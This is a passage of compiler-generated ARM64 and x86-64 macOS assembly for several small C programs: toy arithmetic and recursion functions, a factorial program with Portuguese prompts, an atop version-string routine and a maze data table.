[sp, #36] b LBB6_1 LBB6_4: ldr x8, [sp, #40] ldr x9, [sp, #48] str x8, [x9] ldr x9, [sp, #48] sub x8, x29, #28 str x8, [x9, #8] ldr x8, [sp, #48] ; kill: def $x9 killed $xzr str xzr, [x8, #16] ldr x8, [sp, #48] ldr x0, [x8, #8] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF mov x2, #-1 bl ___strcpy_chk ldur x0, [x29, #-40] ldr x1, [sp, #48] bl _sus str x0, [sp, #24] ldr x8, [sp, #24] str x8, [sp, #8] ; 8-byte Folded Spill ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB6_6 b LBB6_5 LBB6_5: bl ___stack_chk_fail LBB6_6: ldr x0, [sp, #8] ; 8-byte Folded Reload ldp x29, x30, [sp, #96] ; 16-byte Folded Reload add sp, sp, #112 ret .cfi_endproc ; -- End function .globl _sus ; -- Begin function sus .p2align 2 _sus: ; @sus .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] str x0, [sp, #32] str x1, [sp, #24] mov x8, #5 str x8, [sp, #32] mov x0, #24 bl _malloc str x0, [sp, #16] ldr x8, [sp, #24] ldr x8, [x8] ldr x9, [sp, #16] str x8, [x9] sub x0, x29, #38 adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF mov x2, #30 bl ___strcpy_chk ldr x8, [sp, #16] str x0, [x8, #8] ldr x9, [sp, #16] adrp x8, _fact@PAGE add x8, x8, _fact@PAGEOFF str x8, [x9, #16] str wzr, [sp, #12] b LBB7_1 LBB7_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #12] subs w8, w8, #5 cset w8, ge tbnz w8, #0, LBB7_4 b LBB7_2 LBB7_2: ; in Loop: Header=BB7_1 Depth=1 ldr x8, [sp, #16] ldr x8, [x8, #16] ldr x9, [sp, #16] ldr x9, [x9] ldrsw x10, [sp, #12] ldr w0, [x9, x10, lsl #2] blr x8 ldr x8, [sp, #16] ldr x8, [x8] ldrsw x9, [sp, #12] str w0, [x8, x9, lsl #2] b LBB7_3 LBB7_3: ; in Loop: Header=BB7_1 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB7_1 LBB7_4: ldr x8, [sp, #16] str x8, [sp] ; 8-byte Folded Spill ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB7_6 b LBB7_5 LBB7_5: bl ___stack_chk_fail LBB7_6: ldr x0, [sp] ; 8-byte Folded Reload ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .globl _bar ; -- Begin function bar .p2align 2 _bar: ; @bar .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] mov x0, #24 str x0, [sp, #16] ; 8-byte Folded Spill bl _malloc mov x8, x0 ldr x0, [sp, #16] ; 8-byte Folded Reload stur x8, [x29, #-40] bl _malloc str x0, [sp, #48] mov x0, #5 mov x1, #4 bl _calloc str x0, [sp, #40] str wzr, [sp, #36] b LBB8_1 LBB8_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #36] subs w8, w8, #5 cset w8, ge tbnz w8, #0, LBB8_4 b LBB8_2 LBB8_2: ; in Loop: Header=BB8_1 Depth=1 ldr w8, [sp, #36] add w8, w8, #1 ldr x9, [sp, #40] ldrsw x10, [sp, #36] str w8, [x9, x10, lsl #2] b LBB8_3 LBB8_3: ; in Loop: Header=BB8_1 Depth=1 ldr w8, [sp, #36] add w8, w8, #1 str w8, [sp, #36] b LBB8_1 LBB8_4: ldr x8, [sp, #40] ldr x9, [sp, #48] str x8, [x9] ldr x9, [sp, #48] sub x8, x29, #28 str x8, [x9, #8] ldr x8, [sp, #48] ; kill: def $x9 killed $xzr str xzr, [x8, #16] ldr x8, [sp, #48] ldr x0, [x8, #8] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF mov x2, #-1 bl ___strcpy_chk ldur x0, [x29, #-40] ldr x1, [sp, #48] bl _sus str x0, [sp, #24] ldr x8, [sp, #24] str x8, [sp, #8] ; 8-byte Folded Spill ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB8_6 b LBB8_5 LBB8_5: bl ___stack_chk_fail LBB8_6: ldr x0, [sp, #8] ; 8-byte Folded Reload ldp x29, x30, [sp, #96] ; 16-byte Folded Reload add sp, sp, #112 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Example" l_.str.1: ; @.str.1 .asciz "Hello World" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _add1 ## -- Begin function add1 .p2align 4, 0x90 _add1: ## @add1 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) movl -4(%rbp), %eax addl $1, %eax popq %rbp retq .cfi_endproc ## -- End function .globl _sub1 ## -- Begin function sub1 .p2align 4, 0x90 _sub1: ## @sub1 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) movl -4(%rbp), %eax subl $1, %eax popq %rbp retq .cfi_endproc ## -- End function .globl _fact ## -- Begin function fact .p2align 4, 0x90 _fact: ## @fact .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -8(%rbp) cmpl $0, -8(%rbp) jne LBB2_2 ## %bb.1: movl $1, -4(%rbp) jmp LBB2_3 LBB2_2: movl -8(%rbp), %eax movl %eax, -12(%rbp) ## 4-byte Spill movl -8(%rbp), %edi subl $1, %edi callq _fact movl %eax, %ecx movl -12(%rbp), %eax ## 4-byte Reload imull %ecx, %eax movl %eax, -4(%rbp) LBB2_3: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _fib ## -- Begin function fib .p2align 4, 0x90 _fib: ## @fib .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -8(%rbp) cmpl $0, -8(%rbp) jne LBB3_2 ## %bb.1: movl $0, -4(%rbp) jmp LBB3_5 LBB3_2: cmpl $1, -8(%rbp) jne LBB3_4 ## %bb.3: movl $1, -4(%rbp) jmp LBB3_5 LBB3_4: movl -8(%rbp), %edi subl $1, %edi callq _fib movl %eax, -12(%rbp) ## 4-byte Spill movl -8(%rbp), %edi subl $2, %edi callq _fib movl %eax, %ecx movl -12(%rbp), %eax ## 4-byte Reload addl %ecx, %eax movl %eax, -4(%rbp) LBB3_5: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _zerohuh ## -- Begin function zerohuh .p2align 4, 0x90 _zerohuh: ## @zerohuh .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) cmpl $0, -4(%rbp) setne %al xorb $-1, %al andb $1, %al movzbl %al, %eax popq %rbp retq .cfi_endproc ## -- End function .globl _mul2 ## -- Begin function mul2 .p2align 4, 0x90 _mul2: ## @mul2 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movq -8(%rbp), %rax movl (%rax), %ecx shll $1, %ecx movl %ecx, (%rax) movq -8(%rbp), %rax popq %rbp retq .cfi_endproc ## -- End function .globl _foo ## -- Begin function foo .p2align 4, 0x90 _foo: ## @foo .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $24, %edi callq _malloc movq %rax, -40(%rbp) movl $24, %edi callq _malloc movq %rax, -48(%rbp) movl $5, %edi movl $4, %esi callq _calloc movq %rax, -56(%rbp) movl $0, -60(%rbp) LBB6_1: ## =>This Inner Loop Header: Depth=1 cmpl $5, -60(%rbp) jge LBB6_4 ## %bb.2: ## in Loop: Header=BB6_1 Depth=1 movl -60(%rbp), %edx addl $1, %edx movq -56(%rbp), %rax movslq -60(%rbp), %rcx movl %edx, (%rax,%rcx,4) ## %bb.3: ## in Loop: Header=BB6_1 Depth=1 movl -60(%rbp), %eax addl $1, %eax movl %eax, -60(%rbp) jmp LBB6_1 LBB6_4: movq -56(%rbp), %rcx movq -48(%rbp), %rax movq %rcx, (%rax) leaq -32(%rbp), %rcx movq -48(%rbp), %rax movq %rcx, 8(%rax) movq -48(%rbp), %rax movq $0, 16(%rax) movq -48(%rbp), %rax movq 8(%rax), %rdi leaq L_.str(%rip), %rsi movq $-1, %rdx callq ___strcpy_chk movq -40(%rbp), %rdi movq -48(%rbp), %rsi callq _sus movq %rax, -72(%rbp) movq -72(%rbp), %rax movq %rax, -80(%rbp) ## 8-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB6_6 ## %bb.5: movq -80(%rbp), %rax ## 8-byte Reload addq $80, %rsp popq %rbp retq LBB6_6: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _sus ## -- Begin function sus .p2align 4, 0x90 _sus: ## @sus .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $96, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movq %rdi, -56(%rbp) movq %rsi, -64(%rbp) movl $5, %eax movq %rax, -56(%rbp) movl $24, %edi callq _malloc movq %rax, -72(%rbp) movq -64(%rbp), %rax movq (%rax), %rcx movq -72(%rbp), %rax movq %rcx, (%rax) leaq -48(%rbp), %rdi leaq L_.str.1(%rip), %rsi movl $30, %edx callq ___strcpy_chk movq %rax, %rcx movq -72(%rbp), %rax movq %rcx, 8(%rax) movq -72(%rbp), %rax leaq _fact(%rip), %rcx movq %rcx, 16(%rax) movl $0, -76(%rbp) LBB7_1: ## =>This Inner Loop Header: Depth=1 cmpl $5, -76(%rbp) jge LBB7_4 ## %bb.2: ## in Loop: Header=BB7_1 Depth=1 movq -72(%rbp), %rax movq 16(%rax), %rax movq -72(%rbp), %rcx movq (%rcx), %rcx movslq -76(%rbp), %rdx movl (%rcx,%rdx,4), %edi callq *%rax movl %eax, %edx movq -72(%rbp), %rax movq (%rax), %rax movslq -76(%rbp), %rcx movl %edx, (%rax,%rcx,4) ## %bb.3: ## in Loop: Header=BB7_1 Depth=1 movl -76(%rbp), %eax addl $1, %eax movl %eax, -76(%rbp) jmp LBB7_1 LBB7_4: movq -72(%rbp), %rax movq %rax, -88(%rbp) ## 8-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB7_6 ## %bb.5: movq -88(%rbp), %rax ## 8-byte Reload addq $96, %rsp popq %rbp retq LBB7_6: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _bar ## -- Begin function bar .p2align 4, 0x90 _bar: ## @bar .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $24, %edi callq _malloc movq %rax, -40(%rbp) movl $24, %edi callq _malloc movq %rax, -48(%rbp) movl $5, %edi movl $4, %esi callq _calloc movq %rax, -56(%rbp) movl $0, -60(%rbp) LBB8_1: ## =>This Inner Loop Header: Depth=1 cmpl $5, -60(%rbp) jge LBB8_4 ## %bb.2: ## in Loop: Header=BB8_1 Depth=1 movl -60(%rbp), %edx addl $1, %edx movq -56(%rbp), %rax movslq -60(%rbp), %rcx movl %edx, (%rax,%rcx,4) ## %bb.3: ## in Loop: Header=BB8_1 Depth=1 movl -60(%rbp), %eax addl $1, %eax movl %eax, -60(%rbp) jmp LBB8_1 LBB8_4: movq -56(%rbp), %rcx movq -48(%rbp), %rax movq %rcx, (%rax) leaq -32(%rbp), %rcx movq -48(%rbp), %rax movq %rcx, 8(%rax) movq -48(%rbp), %rax movq $0, 16(%rax) movq -48(%rbp), %rax movq 8(%rax), %rdi leaq L_.str(%rip), %rsi movq $-1, %rdx callq ___strcpy_chk movq -40(%rbp), %rdi movq -48(%rbp), %rsi callq _sus movq %rax, -72(%rbp) movq -72(%rbp), %rax movq %rax, -80(%rbp) ## 8-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB8_6 ## %bb.5: movq -80(%rbp), %rax ## 8-byte Reload addq $80, %rsp popq %rbp retq LBB8_6: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Example" L_.str.1: ## @.str.1 .asciz "Hello World" .subsections_via_symbols
the_stack_data/120289.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] mov w8, #1 stur w8, [x29, #-12] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf mov x9, sp sub x8, x29, #8 str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _scanf ldur w8, [x29, #-8] str w8, [sp, #16] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #16] subs w8, w8, #1 cset w8, lt tbnz w8, #0, LBB0_4 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr w9, [sp, #16] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf ldr w9, [sp, #16] ldur w8, [x29, #-12] mul w8, w8, w9 stur w8, [x29, #-12] b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #16] subs w8, w8, #1 str w8, [sp, #16] b LBB0_1 LBB0_4: ldur w9, [x29, #-12] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Digite o numero: " l_.str.1: ; @.str.1 .asciz "%d" l_.str.2: ; @.str.2 .asciz "%d\n" l_.str.3: ; @.str.3 .asciz "Resultado: %d" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movl $1, -12(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _printf leaq L_.str.1(%rip), %rdi leaq -8(%rbp), %rsi movb $0, %al callq _scanf movl -8(%rbp), %eax movl %eax, -16(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 cmpl $1, -16(%rbp) jl LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl -16(%rbp), %esi leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf movl -16(%rbp), %eax imull -12(%rbp), %eax movl %eax, -12(%rbp) ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movl -16(%rbp), %eax addl $-1, %eax movl %eax, -16(%rbp) jmp LBB0_1 LBB0_4: movl -12(%rbp), %esi leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Digite o numero: " L_.str.1: ## @.str.1 .asciz "%d" L_.str.2: ## @.str.2 .asciz "%d\n" L_.str.3: ## @.str.3 .asciz "Resultado: %d" .subsections_via_symbols
the_stack_data/95449281.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _getversion ; -- Begin function getversion .p2align 2 _getversion: ; @getversion .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x0, _atoprevision@PAGE add x0, x0, _atoprevision@PAGEOFF adrp x8, _atopdate@PAGE add x8, x8, _atopdate@PAGEOFF str x8, [sp, #24] ; 8-byte Folded Spill strb wzr, [x0, #15] strb wzr, [x8, #26] mov w1, #32 str w1, [sp, #20] ; 4-byte Folded Spill bl _strchr ldr w1, [sp, #20] ; 4-byte Folded Reload mov x2, x0 ldr x0, [sp, #24] ; 8-byte Folded Reload stur x2, [x29, #-16] ; 8-byte Folded Spill bl _strchr ldur x9, [x29, #-16] ; 8-byte Folded Reload mov x8, sp str x9, [x8] str x0, [x8, #8] adrp x0, _getversion.vers@PAGE add x0, x0, _getversion.vers@PAGEOFF stur x0, [x29, #-8] ; 8-byte Folded Spill mov x3, #256 mov x1, x3 mov w2, #0 adrp x4, l_.str@PAGE add x4, x4, l_.str@PAGEOFF bl ___snprintf_chk ldur x0, [x29, #-8] ; 8-byte Folded Reload ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .zerofill __DATA,__bss,_getversion.vers,256,0 ; @getversion.vers .section __DATA,__data _atoprevision: ; @atoprevision .asciz "$Revision: 1.16 $" _atopdate: ; @atopdate .asciz "$Date: 2006/04/03 08:39:37 $" .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Version:%s -%s < [email protected] >" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _getversion ## -- Begin function getversion .p2align 4, 0x90 _getversion: ## @getversion .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movb $0, _atoprevision+15(%rip) movb $0, _atopdate+26(%rip) leaq _atoprevision(%rip), %rdi movl $32, %esi callq _strchr movq %rax, -8(%rbp) ## 8-byte Spill leaq _atopdate(%rip), %rdi movl $32, %esi callq _strchr movq -8(%rbp), %r9 ## 8-byte Reload leaq _getversion.vers(%rip), %rdi movl $256, %ecx ## imm = 0x100 xorl %edx, %edx leaq L_.str(%rip), %r8 movq %rcx, %rsi movq %rax, (%rsp) movb $0, %al callq ___snprintf_chk leaq _getversion.vers(%rip), %rax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .zerofill __DATA,__bss,_getversion.vers,256,4 ## @getversion.vers .section __DATA,__data .p2align 4 ## @atoprevision _atoprevision: .asciz "$Revision: 1.16 $" .p2align 4 ## @atopdate _atopdate: .asciz "$Date: 2006/04/03 08:39:37 $" .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Version:%s -%s < [email protected] >" .subsections_via_symbols
the_stack_data/157987.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __DATA,__data .globl _map_y5_3_maz ; @map_y5_3_maz .p2align 2 _map_y5_3_maz: .long 14 ; 0xe .long 10 ; 0xa .long 10 ; 0xa .long 10 ; 0xa .long 8 ; 0x8 .long 8 ; 0x8 .long 10 ; 0xa .long 11 ; 0xb .long 14 ; 0xe .long 10 ; 0xa .long 8 ; 0x8 .long 10 ; 0xa .long 10 ; 0xa .long 10 ; 0xa .long 8 ; 0x8 .long 9 ; 0x9 .long 12 ; 0xc .long 10 ; 0xa .long 10 ; 0xa .long 10 ; 0xa .long 3 ; 0x3 .long 5 ; 0x5 .long 14 ; 0xe .long 10 ; 0xa .long 8 ; 0x8 .long 10 ; 0xa .long 2 ; 0x2 .long 10 ; 0xa .long 10 ; 0xa .long 9 ; 0x9 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 12 ; 0xc .long 8 ; 0x8 .long 10 ; 0xa .long 10 ; 0xa .long 2 ; 0x2 .long 10 ; 0xa .long 11 ; 0xb .long 5 ; 0x5 .long 12 ; 0xc .long 9 ; 0x9 .long 12 ; 0xc .long 9 ; 0x9 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 4 ; 0x4 .long 10 ; 0xa .long 8 ; 0x8 .long 10 ; 0xa .long 10 ; 0xa .long 10 ; 0xa .long 2 ; 0x2 .long 1 ; 0x1 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 7 ; 0x7 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 12 ; 0xc .long 2 ; 0x2 .long 10 ; 0xa .long 10 ; 0xa .long 10 ; 0xa .long 9 ; 0x9 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 12 ; 0xc .long 2 ; 0x2 .long 1 ; 0x1 .long 4 ; 0x4 .long 2 ; 0x2 .long 3 ; 0x3 .long 5 ; 0x5 .long 12 ; 0xc .long 10 ; 0xa .long 10 ; 0xa .long 10 ; 0xa .long 3 ; 0x3 .long 7 ; 0x7 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 4 ; 0x4 .long 9 ; 0x9 .long 5 ; 0x5 .long 5 ; 0x5 .long 12 ; 0xc .long 9 ; 0x9 .long 6 ; 0x6 .long 1 ; 0x1 .long 12 ; 0xc .long 8 ; 0x8 .long 10 ; 0xa .long 10 ; 0xa .long 11 ; 0xb .long 6 ; 0x6 .long 3 ; 0x3 .long 4 ; 0x4 .long 3 ; 0x3 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 6 ; 0x6 .long 10 ; 0xa .long 1 ; 0x1 .long 5 ; 0x5 .long 5 ; 0x5 .long 12 ; 0xc .long 9 ; 0x9 .long 12 ; 0xc .long 10 ; 0xa .long 9 ; 0x9 .long 5 ; 0x5 .long 12 ; 0xc .long 0 ; 0x0 .long 1 ; 0x1 .long 7 ; 0x7 .long 5 ; 0x5 .long 14 ; 0xe .long 9 ; 0x9 .long 7 ; 0x7 .long 5 ; 0x5 .long 5 ; 0x5 .long 6 ; 0x6 .long 2 ; 0x2 .long 1 ; 0x1 .long 13 ; 0xd .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 12 ; 0xc .long 0 ; 0x0 .long 10 ; 0xa .long 1 ; 0x1 .long 12 ; 0xc .long 1 ; 0x1 .long 6 ; 0x6 .long 10 ; 0xa .long 9 ; 0x9 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 7 ; 0x7 .long 12 ; 0xc .long 3 ; 0x3 .long 5 ; 0x5 .long 4 ; 0x4 .long 10 ; 0xa .long 10 ; 0xa .long 0 ; 0x0 .long 2 ; 0x2 .long 2 ; 0x2 .long 1 ; 0x1 .long 7 ; 0x7 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 5 ; 0x5 .long 12 ; 0xc .long 2 ; 0x2 .long 11 ; 0xb .long 5 ; 0x5 .long 4 ; 0x4 .long 10 ; 0xa .long 10 ; 0xa .long 2 ; 0x2 .long 10 ; 0xa .long 10 ; 0xa .long 1 ; 0x1 .long 13 ; 0xd .long 5 ; 0x5 .long 6 ; 0x6 .long 1 ; 0x1 .long 5 ; 0x5 .long 4 ; 0x4 .long 10 ; 0xa .long 10 ; 0xa .long 1 ; 0x1 .long 4 ; 0x4 .long 10 ; 0xa .long 10 ; 0xa .long 8 ; 0x8 .long 10 ; 0xa .long 10 ; 0xa .long 3 ; 0x3 .long 5 ; 0x5 .long 4 ; 0x4 .long 9 ; 0x9 .long 5 ; 0x5 .long 5 ; 0x5 .long 6 ; 0x6 .long 10 ; 0xa .long 10 ; 0xa .long 1 ; 0x1 .long 4 ; 0x4 .long 10 ; 0xa .long 10 ; 0xa .long 2 ; 0x2 .long 10 ; 0xa .long 10 ; 0xa .long 9 ; 0x9 .long 5 ; 0x5 .long 7 ; 0x7 .long 5 ; 0x5 .long 5 ; 0x5 .long 4 ; 0x4 .long 10 ; 0xa .long 10 ; 0xa .long 9 ; 0x9 .long 6 ; 0x6 .long 2 ; 0x2 .long 10 ; 0xa .long 8 ; 0x8 .long 10 ; 0xa .long 10 ; 0xa .long 9 ; 0x9 .long 6 ; 0x6 .long 2 ; 0x2 .long 10 ; 0xa .long 3 ; 0x3 .long 5 ; 0x5 .long 6 ; 0x6 .long 10 ; 0xa .long 10 ; 0xa .long 2 ; 0x2 .long 10 ; 0xa .long 10 ; 0xa .long 10 ; 0xa .long 2 ; 0x2 .long 10 ; 0xa .long 11 ; 0xb .long 6 ; 0x6 .long 10 ; 0xa .long 10 ; 0xa .long 10 ; 0xa .long 10 ; 0xa .long 3 ; 0x3 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __DATA,__data .globl _map_y5_3_maz ## @map_y5_3_maz .p2align 4 _map_y5_3_maz: .long 14 ## 0xe .long 10 ## 0xa .long 10 ## 0xa .long 10 ## 0xa .long 8 ## 0x8 .long 8 ## 0x8 .long 10 ## 0xa .long 11 ## 0xb .long 14 ## 0xe .long 10 ## 0xa .long 8 ## 0x8 .long 10 ## 0xa .long 10 ## 0xa .long 10 ## 0xa .long 8 ## 0x8 .long 9 ## 0x9 .long 12 ## 0xc .long 10 ## 0xa .long 10 ## 0xa .long 10 ## 0xa .long 3 ## 0x3 .long 5 ## 0x5 .long 14 ## 0xe .long 10 ## 0xa .long 8 ## 0x8 .long 10 ## 0xa .long 2 ## 0x2 .long 10 ## 0xa .long 10 ## 0xa .long 9 ## 0x9 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 12 ## 0xc .long 8 ## 0x8 .long 10 ## 0xa .long 10 ## 0xa .long 2 ## 0x2 .long 10 ## 0xa .long 11 ## 0xb .long 5 ## 0x5 .long 12 ## 0xc .long 9 ## 0x9 .long 12 ## 0xc .long 9 ## 0x9 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 4 ## 0x4 .long 10 ## 0xa .long 8 ## 0x8 .long 10 ## 0xa .long 10 ## 0xa .long 10 ## 0xa .long 2 ## 0x2 .long 1 ## 0x1 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 7 ## 0x7 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 12 ## 0xc .long 2 ## 0x2 .long 10 ## 0xa .long 10 ## 0xa .long 10 ## 0xa .long 9 ## 0x9 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 12 ## 0xc .long 2 ## 0x2 .long 1 ## 0x1 .long 4 ## 0x4 .long 2 ## 0x2 .long 3 ## 0x3 .long 5 ## 0x5 .long 12 ## 0xc .long 10 ## 0xa .long 10 ## 0xa .long 10 ## 0xa .long 3 ## 0x3 .long 7 ## 0x7 .long 5 